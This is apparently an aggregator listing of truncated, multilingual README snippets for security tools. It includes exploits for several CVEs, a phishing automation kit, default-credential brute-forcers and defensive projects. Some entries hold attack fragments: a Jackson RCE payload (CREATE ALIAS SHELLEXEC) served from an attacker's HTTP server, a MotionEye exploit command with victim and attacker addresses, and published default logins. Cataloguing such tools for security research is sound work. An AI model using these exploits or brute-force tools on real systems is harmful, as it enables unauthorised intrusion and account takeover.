CVE-2022-29582-Exploit

CVE-2022-29582 이 저장소는 CVE-2022-29582에 대한 익스플로잇 코드를 포함하고 있으며, 이는 Linux 커널의 iouring에서의 로컬 권한 상승 취약점입니다. 기본 구성이 영향을 받으며 특별한 권한이 필요하지 않습니다. 관련 분석 글은 https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/에서 확인할 수 있습니다. 빌드 실행 root@kitploit: make 을를 통해 새로운 실행 파일이 생성됩니다. 또는 미리 커밋된 파일을 사용해도 됩니다 :...

jarm

JARM Please read the initial JARM blog post for more information. JARM is an active Transport Layer Security TLS server fingerprinting tool. JARM fingerprints can be used to: Quickly verify that all servers in a group have the same TLS configuration. Group disparate servers on the internet by...

phishlulz

PhishLulz PhishLulz is a Ruby toolset aimed at automating Phishing activities. When you start a phishing campaign, a dedicated Amazon EC2 Debian 7 instance is spawned. The VM comes with various open source tools that have been glued together. The two main components are: PhishingFrenzy...

CVE-2022-40146_Exploit_Jar

Apache Batik SSRF から RCE への Jar エクスプロイト コンポーネントリンク https://github.com/apache/xmlgraphics-batik ブログ https://www.zerodayinitiative.com/blog/2022/10/28/vulnerabilities-in-apache-batik-default-security-controls-ssrf-and-rce-through-remote-class-loading 使用方法 src/main/java/com.poc.Poc.java の 11...

EyeWitness

EyeWitness - 웹 스크린샷 도구 EyeWitness는 웹사이트의 스크린샷을 찍고, 서버 헤더 정보를 제공하며, 알려진 기본 자격 증명을 식별하도록 설계되었습니다. 이제 Chromium 브라우저를 기반으로 더 나은 안정성과 쉬운 설치를 지원합니다. 🚀 주요 기능 크로스 플랫폼 지원 - Windows, Linux, macOS Chromium 기반 - Google Chrome/Chromium으로 안정적인 헤드리스 스크린샷 적응형 리소스 관리 - 시스템 성능에 따라 자동 조정 설정 파일 지원 - 선호하는 설정 저장 URL...

kernelpop

kernelpop kernelpop is a framework for performing automated kernel vulnerability enumeration and exploitation on the following operating systems: Linux Mac It is designed to be python version-agnostic, meaning that it should work with both python2 and python3 please let me know if you find that i...

TP-Link-defaults

TP-Link-defaults 일부 TP-Link 핫스팟의 기본 비밀번호를 시도하는 Python 스크립트 다음에서 영감을 받음: 사용법 root@kitploit: 사용법: scan.py -h -p -t TIMEOUT 일부 TP-Link 핫스팟의 기본 비밀번호를 시도하는 Python 스크립트 선택적 인수: -h, --help 도움말 메시지를 표시하고 종료합니다 -p, --print-all 발견된 모든 SSID를 출력합니다 -t TIMEOUT, --timeout TIMEOUT 교육용 목적으로만 사용하세요 설정 timeout 주어진...

bunkerweb

🌐 ウェブサイト | 🤝 パネル | 📓 ドキュメント | 👨‍💻 デモ | 📱 デモ UI | 🧩 テンプレート | 🛡️ サンプル 💬 チャット | 📝 フォーラム | 📝 コミュニティ | 🗺️ 脅威マップ | 📊 ステータス | 🔎 フィードバック 🛡️ デフォルトでセキュアな世界をもう一度！ BunkerWeb BunkerWeb は、次世代のオープンソース Web Application Firewall W...

brutespray

Brutespray 제작자: Shane Young/@x90sky && Jacob Robles/@shellfail 영감: Leon Johnson/@sho-luv 설명 Brutespray는 발견된 서비스에 대해 기본 자격 증명을 자동으로 시도합니다. NmapGNMAP/XML, Nessus, Nexpose, JSON 및 목록의 스캔 출력을 가져와 40개 이상의 프로토콜에서 병렬로 자격 증명을 무차별 대입합니다. 대화형 터미널 UI, 내장된 단어 목록 및 재개 기능을 갖춘 Go로 제작되었습니다. 빠른 설치 root@kitploit: ...

Linux-Kodachi

개요 로그인 자격 증명 터미널 서버 및 데스크탑 XFCE | 사용자 이름: kodachi | 비밀번호: Security4All Kodachi 9 완벽하게 작동 Kodachi 9 개발이 완료되었으며 플랫폼이 완벽하게 작동합니다. 모든 구성 요소 — 독립 실행형 바이너리, 터미널 서버 버전, 데스크탑 에디션Debian XFCE, AI 기능, 전체 클라우드 플랫폼 — 모두 구축, 배포되었으며 프로덕션에 사용할 준비가 되었습니다. Kodachi 9 릴리스 새로운 소식 최근 플랫폼 업데이트: Linux Kodachi 9 기술 백서 -...

caddy

프로젝트 모든 사이트를 HTTPS로 Caddy는 기본적으로 TLS를 사용하는 확장 가능한 서버 플랫폼입니다. 릴리스 · 문서 · 도움말 제공: 특별 감사: 여러 AI 에이전트와 함께 코딩하도록 설계된 Warp MacOS, Linux 및 Windows에서 사용 가능 목차 기능 설치 소스에서 빌드 개발용 버전 정보 및/또는 플러그인 포함 빠른 시작 개요 전체 문서 도움 받기 소개 기능 Caddyfile을 통한 간편한 설정 기본 JSON 구성을 통한 강력한 설정 JSON API를 통한 동적 설정 JSON이 싫다면 설정 어댑터 기본적...

CVE-2019-12384

CVE-2019-12384 Jackson RCE And SSRF 0x01 python -m SimpleHTTPServer root@kitploit: python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql root@kitploit: CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd...

fwknop

fwknop - 단일 패킷 인증 SPA 소개 fwknop은 강력한 서비스 은닉을 위해 SPASingle Packet Authorization로 알려진 인증 방식을 구현합니다. SPA는 방화벽 뒤에서 기본적으로 패킷을 차단default-drop하는 상태에서 서비스에 대한 원하는 접근을 통신하기 위해 암호화되고 재전송이 불가능하며 HMAC을 통해 인증되는 단일 패킷만을 필요로 합니다. SPA의 주요 용도는 방화벽을 사용하여 SSH와 같은 서비스에 대한 모든 연결 시도를 차단함으로써 취약점0-day 및 패치되지 않은 코드 모두의 악...

fwknop

fwknop - Single Packet Authorization Introduction fwknop implements an authorization scheme known as Single Packet Authorization SPA for strong service concealment. SPA requires only a single packet which is encrypted, non-replayable, and authenticated via an HMAC in order to communicate desired...

siemframework

SIEMS FRAMEWORK MultiSIEM 모듈식 Python3 공격 프레임워크 By ElevenPaths https://www.elevenpaths.com/ 사용법: python3 ./siemsframework.py 소개 SIEM은 사이버 보안 분야, 특히 주요 기업과 고도로 중요한 시스템 및 네트워크를 모니터링하는 기업에서 점점 더 많이 사용되는 방어 도구입니다. 그러나 공격자의 관점에서 볼 때, SIEM에 부여된 기업 네트워크의 시스템 및 계정에 대한 권한은 높습니다. 또한 SIEM에 대한 관리자 액세스는 해당 SIE...

motioneye-authenticated-RCE

MotionEye/MotionEyeOS 認証済みRCE MotionEyeにRCEを可能にするtasks.pickleファイルをアップロードするPython 3スクリプトです。管理者資格情報が必要なので、それほど大した問題ではないはずです。残念ながら、MotionEye/MotionEyeOSはデフォルトの資格情報で実行されていることがよくあります。 例: root@kitploit: main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444...

jaeles-signatures

このプロジェクトは Osmedeus Engine の一部でした。@OsmedeusEngine で統合方法を確認してください。 このリポジトリには Jaeles プロジェクト用のデフォルトシグネチャのみが含まれています。プルリクエストやアイデアは歓迎します。 独自シグネチャの作成については、公式ドキュメントをお読みください。 インストール root@kitploit: jaeles config init または シグネチャフォルダを次のような場所にクローンしてみてください。 root@kitploit: git clone --depth=1...

EyeWitness

EyeWitness EyeWitness는 웹사이트의 스크린샷을 캡처하고, 서버 헤더 정보를 제공하며, 알려진 기본 자격 증명을 식별하도록 설계된 도구입니다. EyeWitness는 Kali Linux에서 실행되도록 설계되었습니다. -f 플래그로 제공된 파일이 각 줄에 URL이 있는 텍스트 파일인지, nmap XML 출력인지, 또는 Nessus XML 출력인지 자동으로 감지합니다. --timeout 플래그는 완전히 선택 사항이며, 웹 페이지를 렌더링하고 스크린샷을 찍을 때 기다릴 최대 시간을 지정할 수 있습니다. EyeWitnes...

fprobe

FProbe FProbe - Fast HTTP Probe Installation root@kitploit: GO111MODULE=on go get -u github.com/theblackturtle/fprobe Features Take a list of domains/subdomains and probe for working http/https server. Optimize RAM and CPU in runtime. Support special ports for each domain Verbose in JSON format...

CVE-2023-42793

TeamCity CVE-2023-42793 エクスプロイト このPythonスクリプトは、JetBrains TeamCityのセキュリティ脆弱性（CVE-2023-42793）を悪用し、攻撃者が管理者権限を持つ新しいユーザーを作成することを可能にします。 使用方法 このスクリプトは、単一のTeamCityインスタンスURLまたはURLのリストを入力として受け取ります。指定されたURLは、CVE-2023-42793に対して脆弱なTeamCityサーバーを指している必要があります。 単一URL: root@kitploit: python exploit.py -u...